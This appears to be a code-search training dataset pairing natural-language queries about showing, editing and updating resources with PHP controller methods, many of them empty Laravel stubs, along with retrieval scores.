$this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Show the form for editing the specified resource.
public function edit($id) { $guru = Guru::find($id); $jk =['1'=>'Laki-laki','2'=>'Perempuan']; $userAvailable = User::where('role','guru')->doesntHave('guru')->get(); $agama = [1=>"Islam",2=>"Protestan",3=>"Katolik",4=>"Himdu", 5=>"Budha"]; $listUserAvailable = $userAvailable->pluck('username','id'); return view('admin.guru.edit',compact('guru','jk','listUserAvailable','agama')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.78550774", "0.7692893", "0.7273195", "0.7242132", "0.7170847", "0.70622855", "0.7053459", "0.6982539", "0.69467914", "0.6945275", "0.6941114", "0.6928077", "0.69019294", "0.68976134", "0.68976134", "0.6877213", "0.68636996", "0.68592185", "0.68566656", "0.6844697", "0.68336326", "0.6811471", "0.68060875", "0.68047357", "0.68018645", "0.6795623", "0.6791791", "0.6791791", "0.6787701", "0.67837197", "0.67791027", "0.677645", "0.6768301", "0.6760122", "0.67458534", "0.67458534", "0.67443407", "0.67425704", "0.6739898", "0.6735328", "0.6725465", "0.6712817", "0.6693891", "0.6692419", "0.6688581", "0.66879624", "0.6687282", "0.6684741", "0.6682786", "0.6668777", "0.6668427", "0.6665287", "0.6665287", "0.66610634", "0.6660843", "0.66589665", "0.66567147", "0.66545695", "0.66527975", "0.6642529", "0.6633056", "0.6630304", "0.6627662", "0.6627662", "0.66192114", "0.6619003", "0.66153085", "0.6614968", "0.6609744", "0.66086483", "0.66060555", "0.6596137", "0.65950733", "0.6594648", "0.65902114", "0.6589043", "0.6587102", "0.65799844", "0.65799403", "0.65799177", "0.657708", "0.65760696", "0.65739626", "0.656931", "0.6567826", "0.65663105", "0.65660435", "0.65615267", "0.6561447", "0.6561447", "0.65576506", "0.655686", "0.6556527", "0.6555543", "0.6555445", "0.65552044", "0.65543956", "0.65543705", "0.6548264", "0.65475875", "0.65447706" ]
0.0
-1
Update the specified resource in storage.
public function update(FormEditGuruRequest $request, $id) { $guru = Guru::find($id); $guru->nip = $request->nip; $guru->nama = $request->nama; $guru->jenis_kelamin = $request->jenis_kelamin; $guru->tempat_lahir = $request->tempat_lahir; $guru->tgl_lahir = $request->tgl_lahir; $guru->agama = $request->agama; $guru->no_telepon = $request->no_telp; $guru->save(); return redirect('/guru')->with('sukses','Data guru berhasil diubah'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
